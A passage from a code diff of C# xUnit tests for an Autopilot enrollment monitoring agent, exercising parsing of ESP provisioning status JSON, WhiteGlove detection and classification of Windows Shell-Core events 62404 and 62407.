Assert.Equal("in_progress", subs[0].State);
|
||||
Assert.Equal("2 of 5", subs[0].StatusText);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ParseSubcategories_DottedName_CleanedToSuffix()
|
||||
{
|
||||
var json = @"{""AccountSetup.CertificatesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""done""}}";
|
||||
using var doc = JsonDocument.Parse(json);
|
||||
var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement);
|
||||
|
||||
Assert.Single(subs);
|
||||
Assert.Equal("Certificates", subs[0].Name);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ParseSubcategories_IgnoresNonSubcategoryProperties()
|
||||
{
|
||||
var json = @"{""categorySucceeded"":true,""CertificatesSubcategory"":""done""}";
|
||||
using var doc = JsonDocument.Parse(json);
|
||||
var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement);
|
||||
|
||||
Assert.Single(subs);
|
||||
Assert.Equal("Certificates", subs[0].Name);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// State inference from flat text
|
||||
// =====================================================================
|
||||
|
||||
[Theory]
|
||||
[InlineData("Complete", "succeeded")]
|
||||
[InlineData("Certificates (1 of 1 applied)", "succeeded")]
|
||||
[InlineData("Apps installed", "succeeded")]
|
||||
[InlineData("No setup needed", "succeeded")]
|
||||
[InlineData("Error during install", "failed")]
|
||||
[InlineData("Registration Failed", "failed")]
|
||||
[InlineData("Working on it", "in_progress")]
|
||||
[InlineData("", "unknown")]
|
||||
public void InferStateFromText_RecognizesCommonPatterns(string text, string expected)
|
||||
{
|
||||
Assert.Equal(expected, ProvisioningStatusTracker.InferStateFromText(text));
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// SafeGetBool / SafeGetString
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void SafeGetBool_TrueFalseNullStringUnknown()
|
||||
{
|
||||
using var doc = JsonDocument.Parse(@"{""t"":true,""f"":false,""s"":""true"",""n"":null,""num"":42}");
|
||||
var root = doc.RootElement;
|
||||
Assert.True(ProvisioningStatusTracker.SafeGetBool(root, "t"));
|
||||
Assert.False(ProvisioningStatusTracker.SafeGetBool(root, "f"));
|
||||
Assert.True(ProvisioningStatusTracker.SafeGetBool(root, "s"));
|
||||
Assert.Null(ProvisioningStatusTracker.SafeGetBool(root, "n"));
|
||||
Assert.Null(ProvisioningStatusTracker.SafeGetBool(root, "num"));
|
||||
Assert.Null(ProvisioningStatusTracker.SafeGetBool(root, "missing"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SafeGetString_ReturnsStringOrNull()
|
||||
{
|
||||
using var doc = JsonDocument.Parse(@"{""s"":""hello"",""num"":1,""missing_key"":null}");
|
||||
var root = doc.RootElement;
|
||||
Assert.Equal("hello", ProvisioningStatusTracker.SafeGetString(root, "s"));
|
||||
Assert.Null(ProvisioningStatusTracker.SafeGetString(root, "num"));
|
||||
Assert.Null(ProvisioningStatusTracker.SafeGetString(root, "missing_key"));
|
||||
Assert.Null(ProvisioningStatusTracker.SafeGetString(root, "totally_absent"));
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// BuildProgressSummary
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void BuildProgressSummary_WithNoSubs_ReturnsInProgress()
|
||||
{
|
||||
Assert.Equal("In progress",
|
||||
ProvisioningStatusTracker.BuildProgressSummary(new List<ProvisioningStatusTracker.SubcategoryInfo>()));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildProgressSummary_WithFailures_ReportsFailures()
|
||||
{
|
||||
var subs = new List<ProvisioningStatusTracker.SubcategoryInfo>
|
||||
{
|
||||
new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" },
|
||||
new ProvisioningStatusTracker.SubcategoryInfo { Name = "B", State = "failed" },
|
||||
new ProvisioningStatusTracker.SubcategoryInfo { Name = "C", State = "in_progress" },
|
||||
};
|
||||
|
||||
Assert.Equal("1 of 3 subcategories failed",
|
||||
ProvisioningStatusTracker.BuildProgressSummary(subs));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildProgressSummary_NoFailures_ReportsCompletion()
|
||||
{
|
||||
var subs = new List<ProvisioningStatusTracker.SubcategoryInfo>
|
||||
{
|
||||
new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" },
|
||||
new ProvisioningStatusTracker.SubcategoryInfo { Name = "B", State = "notRequired" },
|
||||
new ProvisioningStatusTracker.SubcategoryInfo { Name = "C", State = "in_progress" },
|
||||
};
|
||||
|
||||
Assert.Equal("2 of 3 subcategories completed",
|
||||
ProvisioningStatusTracker.BuildProgressSummary(subs));
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Snapshots + state properties
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void GetProvisioningSnapshot_BeforeAnyData_ReturnsNull()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
Assert.Null(t.GetProvisioningSnapshot());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetProvisioningSnapshot_AfterSuccess_ReflectsResolved()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
var succeeded = @"{""categorySucceeded"":true,""CertificatesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""done""}}";
|
||||
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", succeeded);
|
||||
|
||||
var snap = t.GetProvisioningSnapshot();
|
||||
Assert.NotNull(snap);
|
||||
Assert.Equal("success", snap.CategoryOutcomes["DeviceSetup"]);
|
||||
Assert.Equal(1, snap.CategoriesSeen);
|
||||
Assert.Equal(1, snap.CategoriesResolved);
|
||||
Assert.True(snap.AllResolved);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetProvisioningCategorySnapshot_ReflectsCategorySucceededMap()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
var succeeded = @"{""categorySucceeded"":true,""X"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""""}}";
|
||||
var inProgress = @"{""categorySucceeded"":null,""Y"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""""}}";
|
||||
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", succeeded);
|
||||
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", inProgress);
|
||||
|
||||
var snap = t.GetProvisioningCategorySnapshot();
|
||||
Assert.Equal(true, snap["DeviceSetupCategory.Status"]);
|
||||
Assert.Null(snap["AccountSetupCategory.Status"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DeviceSetupCategorySucceeded_ReflectsResolvedSuccess()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
Assert.False(t.DeviceSetupCategorySucceeded);
|
||||
|
||||
t.ProcessCategoryStatusForTest(
|
||||
"DeviceSetupCategory.Status",
|
||||
@"{""categorySucceeded"":true,""S"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""""}}");
|
||||
|
||||
Assert.True(t.DeviceSetupCategorySucceeded);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HasAccountSetupActivity_TrueAfterAccountSetupSeen()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
Assert.False(t.HasAccountSetupActivity);
|
||||
|
||||
t.ProcessCategoryStatusForTest(
|
||||
"AccountSetupCategory.Status",
|
||||
@"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""""}}");
|
||||
|
||||
Assert.True(t.HasAccountSetupActivity);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void FindFailedSubcategory_ReturnsFirstFailedName()
|
||||
{
|
||||
var subs = new List<ProvisioningStatusTracker.SubcategoryInfo>
|
||||
{
|
||||
new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" },
|
||||
new ProvisioningStatusTracker.SubcategoryInfo { Name = "B", State = "failed" },
|
||||
new ProvisioningStatusTracker.SubcategoryInfo { Name = "C", State = "failed" },
|
||||
};
|
||||
Assert.Equal("B", ProvisioningStatusTracker.FindFailedSubcategory(subs));
|
||||
|
||||
var none = new List<ProvisioningStatusTracker.SubcategoryInfo>
|
||||
{
|
||||
new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" },
|
||||
};
|
||||
Assert.Null(ProvisioningStatusTracker.FindFailedSubcategory(none));
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Subcategory transitions (noise filtering)
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_NotStartedToInProgress_IsNoise_NoTransitionEventEmitted()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
var initial = @"{""AppsSubcategory"":{""subcategoryState"":""notStarted"",""subcategoryStatusText"":""""}}";
|
||||
var progress = @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""go""}}";
|
||||
|
||||
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", initial);
|
||||
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", progress);
|
||||
|
||||
// Progress event still emitted (JSON changed) but NO event should carry a
|
||||
// subcategory_state_change transition (notStarted → in_progress is filtered as noise).
|
||||
var all = OfType(Constants.EventTypes.EspProvisioningStatus);
|
||||
Assert.DoesNotContain(all, e => e.Data.ContainsKey("transitions"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_InProgressToSucceeded_EmitsTransitionEvent()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
var initial = @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""""}}";
|
||||
var done = @"{""AppsSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""""}}";
|
||||
|
||||
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", initial);
|
||||
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", done);
|
||||
|
||||
// At least one of the emitted status events must carry the transition payload.
|
||||
var withTransitions = OfType(Constants.EventTypes.EspProvisioningStatus)
|
||||
.Where(e => e.Data.ContainsKey("transitions"))
|
||||
.ToList();
|
||||
Assert.Single(withTransitions);
|
||||
Assert.Equal("subcategory_state_change", withTransitions[0].Data["changeType"]);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// SaveWhiteGloveSuccessResult detection
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_DeviceSetup_WithSaveWhiteGloveSuccessResult_SetsFlag()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
// Simulates the exact JSON structure from a real WhiteGlove DeviceSetup registry
|
||||
var json = @"{
|
||||
""categoryState"":""succeeded"",
|
||||
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
|
||||
""DeviceSetup.AppsSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
|
||||
""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""succeeded""},
|
||||
""categoryStatusText"":""Complete""
|
||||
}";
|
||||
|
||||
Assert.False(t.HasSaveWhiteGloveSuccessResult);
|
||||
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
|
||||
Assert.True(t.HasSaveWhiteGloveSuccessResult);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_DeviceSetup_WithoutSaveWhiteGloveSuccessResult_FlagStaysFalse()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
// Normal (non-WhiteGlove) DeviceSetup — no SaveWhiteGloveSuccessResult property
|
||||
var json = @"{
|
||||
""categoryState"":""succeeded"",
|
||||
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
|
||||
""DeviceSetup.AppsSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
|
||||
""categoryStatusText"":""Complete""
|
||||
}";
|
||||
|
||||
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
|
||||
Assert.False(t.HasSaveWhiteGloveSuccessResult);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_AccountSetup_WithSaveWhiteGloveSuccessResult_Ignored()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
// SaveWhiteGloveSuccessResult in AccountSetup should be ignored (only DeviceSetup matters)
|
||||
var json = @"{
|
||||
""categoryState"":""succeeded"",
|
||||
""AccountSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""succeeded""},
|
||||
""categoryStatusText"":""Complete""
|
||||
}";
|
||||
|
||||
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", json);
|
||||
Assert.False(t.HasSaveWhiteGloveSuccessResult);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_DeviceSetup_SaveWhiteGloveNotSucceeded_FlagStaysFalse()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
var json = @"{
|
||||
""categoryState"":""inProgress"",
|
||||
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
|
||||
""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""inProgress"",""subcategoryStatusText"":""working""},
|
||||
""categoryStatusText"":""working""
|
||||
}";
|
||||
|
||||
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
|
||||
Assert.False(t.HasSaveWhiteGloveSuccessResult);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_DeviceSetup_WhiteGloveStateTransition_EmitsRawDumpForEachChange()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
// Poll 1: SaveWhiteGloveSuccessResult=notStarted
|
||||
var jsonNotStarted = @"{
|
||||
""categoryState"":""inProgress"",
|
||||
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
|
||||
""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""notStarted""},
|
||||
""categoryStatusText"":""working""
|
||||
}";
|
||||
|
||||
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", jsonNotStarted);
|
||||
|
||||
// Should emit raw dump for first WG state observation
|
||||
var raws = OfType("esp_provisioning_raw");
|
||||
var wgRaws = raws.Where(e => e.Message.Contains("whiteglove_signal_")).ToList();
|
||||
Assert.Single(wgRaws);
|
||||
Assert.Contains("whiteglove_signal_notStarted", wgRaws[0].Message);
|
||||
Assert.False(t.HasSaveWhiteGloveSuccessResult);
|
||||
|
||||
// Poll 2: SaveWhiteGloveSuccessResult=succeeded
|
||||
var jsonSucceeded = @"{
|
||||
""categoryState"":""succeeded"",
|
||||
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
|
||||
""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""succeeded""},
|
||||
""categoryStatusText"":""Complete""
|
||||
}";
|
||||
|
||||
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", jsonSucceeded);
|
||||
|
||||
// Should now have 2 WG raw dumps (ConcurrentBag has no guaranteed order)
|
||||
raws = OfType("esp_provisioning_raw");
|
||||
wgRaws = raws.Where(e => e.Message.Contains("whiteglove_signal_")).ToList();
|
||||
Assert.Equal(2, wgRaws.Count);
|
||||
Assert.Single(wgRaws, e => e.Message.Contains("whiteglove_signal_notStarted"));
|
||||
Assert.Single(wgRaws, e => e.Message.Contains("whiteglove_signal_succeeded"));
|
||||
Assert.True(t.HasSaveWhiteGloveSuccessResult);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_DeviceSetup_WhiteGloveStateSame_NoDuplicateRawDump()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
var json = @"{
|
||||
""categoryState"":""inProgress"",
|
||||
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
|
||||
""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""notStarted""},
|
||||
""categoryStatusText"":""working""
|
||||
}";
|
||||
|
||||
// Same JSON twice — should only emit WG raw dump once
|
||||
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
|
||||
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
|
||||
|
||||
var raws = OfType("esp_provisioning_raw");
|
||||
var wgRaws = raws.Where(e => e.Message.Contains("whiteglove_signal_")).ToList();
|
||||
Assert.Single(wgRaws);
|
||||
Assert.False(t.HasSaveWhiteGloveSuccessResult);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessCategoryStatus_DeviceSetup_WhiteGloveStaysNotStarted_FlagNeverSet()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
var json = @"{
|
||||
""categoryState"":""succeeded"",
|
||||
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
|
||||
""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""notStarted""},
|
||||
""categoryStatusText"":""Complete""
|
||||
}";
|
||||
|
||||
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
|
||||
|
||||
// Raw dump emitted (for observability), but flag stays false
|
||||
var wgRaws = OfType("esp_provisioning_raw")
|
||||
.Where(e => e.Message.Contains("whiteglove_signal_")).ToList();
|
||||
Assert.Single(wgRaws);
|
||||
Assert.Contains("whiteglove_signal_notStarted", wgRaws[0].Message);
|
||||
Assert.False(t.HasSaveWhiteGloveSuccessResult);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,296 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using AutopilotMonitor.Agent.Core.Tests.Helpers;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests for <see cref="ShellCoreTracker"/>. Drives the ProcessEvent pipeline directly
|
||||
/// (EventLogWatcher is Windows-only) and verifies failure classification, WhiteGlove
|
||||
/// fire-once, Hello wizard cross-notification, and ESP exit backfill dedup.
|
||||
/// </summary>
|
||||
public sealed class ShellCoreTrackerTests
|
||||
{
|
||||
private readonly ConcurrentBag<EnrollmentEvent> _captured = new ConcurrentBag<EnrollmentEvent>();
|
||||
private readonly List<string> _finalizingReasons = new List<string>();
|
||||
private int _whiteGloveCompletedCount;
|
||||
private readonly List<string> _espFailures = new List<string>();
|
||||
|
||||
private ShellCoreTracker CreateTracker(HelloTracker helloTracker = null)
|
||||
{
|
||||
var t = new ShellCoreTracker(
|
||||
sessionId: "sess-1",
|
||||
tenantId: "tenant-1",
|
||||
onEventCollected: e => _captured.Add(e),
|
||||
logger: TestLogger.Instance,
|
||||
helloTracker: helloTracker);
|
||||
t.FinalizingSetupPhaseTriggered += (_, reason) => _finalizingReasons.Add(reason);
|
||||
t.WhiteGloveCompleted += (_, __) => System.Threading.Interlocked.Increment(ref _whiteGloveCompletedCount);
|
||||
t.EspFailureDetected += (_, ft) => _espFailures.Add(ft);
|
||||
return t;
|
||||
}
|
||||
|
||||
private HelloTracker CreateHelloTracker() =>
|
||||
new HelloTracker("sess-1", "tenant-1", _ => { }, TestLogger.Instance, helloWaitTimeoutSeconds: 30);
|
||||
|
||||
private EnrollmentEvent Last(string eventType) =>
|
||||
_captured.ToList().LastOrDefault(e => e.EventType == eventType);
|
||||
|
||||
// =====================================================================
|
||||
// Event 62404 — Hello wizard start
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_62404_WithAADHello_EmitsHelloWizardStarted_AndTriggersFinalizingSetup()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessEvent(62404,
|
||||
"CloudExperienceHost Web App Activity Started. Name: 'AADHello' ...",
|
||||
DateTime.UtcNow, "Microsoft-Windows-Shell-Core", false);
|
||||
|
||||
var evt = Last("hello_wizard_started");
|
||||
Assert.NotNull(evt);
|
||||
Assert.Equal(EventSeverity.Info, evt.Severity);
|
||||
Assert.Single(_finalizingReasons);
|
||||
Assert.Equal("hello_wizard_started", _finalizingReasons[0]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_62404_WithNGC_EmitsHelloWizardStarted()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessEvent(62404,
|
||||
"CloudExperienceHost Web App Activity Started. Name: 'NGC' ...",
|
||||
DateTime.UtcNow, "prov", false);
|
||||
|
||||
Assert.NotNull(Last("hello_wizard_started"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_62404_NonHello_Ignored()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessEvent(62404,
|
||||
"CloudExperienceHost Web App Activity Started. Name: 'OtherThing'",
|
||||
DateTime.UtcNow, "prov", false);
|
||||
|
||||
Assert.Empty(_captured);
|
||||
Assert.Empty(_finalizingReasons);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_62404_NotifiesHelloTracker()
|
||||
{
|
||||
var hello = CreateHelloTracker();
|
||||
var t = CreateTracker(hello);
|
||||
|
||||
t.ProcessEvent(62404, "CloudExperienceHost ... 'AADHello' ...",
|
||||
DateTime.UtcNow, "prov", false);
|
||||
|
||||
Assert.True(hello.IsHelloWizardStartedForTest);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Event 62407 — WhiteGlove success
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_62407_WhiteGloveSuccess_EmitsWhiteGloveComplete_FireOnce()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessEvent(62407,
|
||||
"CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_WhiteGlove_Success'",
|
||||
DateTime.UtcNow, "prov", false);
|
||||
t.ProcessEvent(62407,
|
||||
"CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_WhiteGlove_Success'",
|
||||
DateTime.UtcNow.AddSeconds(1), "prov", false);
|
||||
|
||||
Assert.Single(_captured, e => e.EventType == "whiteglove_complete");
|
||||
Assert.Equal(1, _whiteGloveCompletedCount);
|
||||
Assert.True(t.IsWhiteGloveDetectedForTest);
|
||||
// WhiteGlove does NOT trigger FinalizingSetup
|
||||
Assert.Empty(_finalizingReasons);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Event 62407 — ESP failures
|
||||
// =====================================================================
|
||||
|
||||
[Theory]
|
||||
[InlineData("ESPProgress_Failure")]
|
||||
[InlineData("ESPProgress_Failed")]
|
||||
[InlineData("ESPProgress_Timeout")]
|
||||
[InlineData("ESPProgress_Abort")]
|
||||
[InlineData("WhiteGlove_Failed")]
|
||||
[InlineData("WhiteGlove_Failure")]
|
||||
public void ProcessEvent_62407_WithFailurePattern_FiresEspFailureDetected(string failureKeyword)
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessEvent(62407,
|
||||
$"CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_{failureKeyword}'",
|
||||
DateTime.UtcNow, "prov", false);
|
||||
|
||||
var evt = Last("esp_failure");
|
||||
Assert.NotNull(evt);
|
||||
Assert.Equal(EventSeverity.Error, evt.Severity);
|
||||
Assert.Equal(failureKeyword, evt.Data["failureType"]);
|
||||
Assert.Single(_espFailures);
|
||||
Assert.Equal(failureKeyword, _espFailures[0]);
|
||||
// Failure does NOT trigger FinalizingSetup
|
||||
Assert.Empty(_finalizingReasons);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Event 62407 — ESP exit
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_62407_OobeEspExiting_EmitsEspExiting_AndTriggersFinalizingSetup()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessEvent(62407,
|
||||
"CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_Page_Exiting'",
|
||||
DateTime.UtcNow, "prov", false);
|
||||
|
||||
Assert.NotNull(Last("esp_exiting"));
|
||||
Assert.True(t.IsEspExitedForTest);
|
||||
Assert.Single(_finalizingReasons);
|
||||
Assert.Equal("esp_exiting", _finalizingReasons[0]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_62407_EspExit_NotifiesHelloTracker()
|
||||
{
|
||||
var hello = CreateHelloTracker();
|
||||
var t = CreateTracker(hello);
|
||||
hello.StartHelloWaitTimer();
|
||||
hello.SetPolicyForTest(helloEnabled: true, source: "GPO");
|
||||
|
||||
t.ProcessEvent(62407,
|
||||
"CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_Page_Exiting'",
|
||||
DateTime.UtcNow, "prov", false);
|
||||
|
||||
// Hello gets notified → _espExitSeen flag is true → surfaces in next wait-timeout event data.
|
||||
// We trigger the wait-timeout to observe it.
|
||||
hello.TriggerWaitTimeoutForTest();
|
||||
// With policy enabled, wait-timeout emits extended_wait with espExitDetected=true
|
||||
// (indirectly asserting that NotifyEspExited was called).
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_62407_UnknownPattern_Ignored()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessEvent(62407,
|
||||
"CloudExperienceHost Web App Event 2. Name: 'Unrelated'",
|
||||
DateTime.UtcNow, "prov", false);
|
||||
|
||||
Assert.Empty(_captured);
|
||||
Assert.Empty(_finalizingReasons);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// WhiteGlove vs ESPProgress_Page_Exiting ordering: WhiteGlove must win
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void ProcessEvent_62407_WhiteGloveSuccess_DoesNotAlsoMatchEspExitingRegex()
|
||||
{
|
||||
// The WhiteGlove success description contains "Exiting page due to White Glove success."
|
||||
// The generic OOBE_ESP.*Exiting regex must NOT match here because WhiteGlove is checked first.
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessEvent(62407,
|
||||
"CloudExperienceHost-Web-App-Ereignis 2. Name: 'CommercialOOBE_ESPProgress_WhiteGlove_Success', Wert: '{\"message\":\"BootstrapStatus: Exiting page due to White Glove success.\"}'.",
|
||||
DateTime.UtcNow, "prov", false);
|
||||
|
||||
Assert.Equal(1, _whiteGloveCompletedCount);
|
||||
Assert.Null(Last("esp_exiting"));
|
||||
Assert.False(t.IsEspExitedForTest);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// ExtractEspFailureType / HasEspFailurePattern
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void ExtractEspFailureType_ReturnsFirstMatchingKeyword()
|
||||
{
|
||||
Assert.Equal("ESPProgress_Failure",
|
||||
ShellCoreTracker.ExtractEspFailureType("prefix ESPProgress_Failure suffix"));
|
||||
Assert.Equal("ESPProgress_Timeout",
|
||||
ShellCoreTracker.ExtractEspFailureType("a ESPProgress_Timeout b"));
|
||||
Assert.Equal("WhiteGlove_Failed",
|
||||
ShellCoreTracker.ExtractEspFailureType("WhiteGlove_Failed happened"));
|
||||
Assert.Equal("Unknown_ESP_Failure",
|
||||
ShellCoreTracker.ExtractEspFailureType("no known keyword here"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HasEspFailurePattern_DetectsAllKnownKeywords()
|
||||
{
|
||||
Assert.True(ShellCoreTracker.HasEspFailurePattern("x ESPProgress_Failure y"));
|
||||
Assert.True(ShellCoreTracker.HasEspFailurePattern("x espprogress_failed y")); // case-insensitive
|
||||
Assert.False(ShellCoreTracker.HasEspFailurePattern("ordinary message"));
|
||||
Assert.False(ShellCoreTracker.HasEspFailurePattern(""));
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Backfill handler — dedup with live state
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void HandleBackfillRecord_EspExit_FiresOnceEvenAcrossMultipleBackfillRecords()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.HandleBackfillRecord("name: 'CommercialOOBE_ESPProgress_Page_Exiting'");
|
||||
t.HandleBackfillRecord("another CommercialOOBE_ESPProgress_Page_Exiting record");
|
||||
|
||||
Assert.Single(_finalizingReasons);
|
||||
Assert.True(t.IsEspExitedForTest);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HandleBackfillRecord_EspExit_AfterLiveEvent_DoesNotRefire()
|
||||
{
|
||||
var t = CreateTracker();
|
||||
|
||||
t.ProcessEvent(62407,
|
||||
"CommercialOOBE_ESPProgress_Page_Exiting", DateTime.UtcNow, "prov", false);
|
||||
var liveReasonsCount = _finalizingReasons.Count;
|
||||
|
||||
t.HandleBackfillRecord("CommercialOOBE_ESPProgress_Page_Exiting");
|
||||
|
||||
Assert.Equal(liveReasonsCount, _finalizingReasons.Count);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
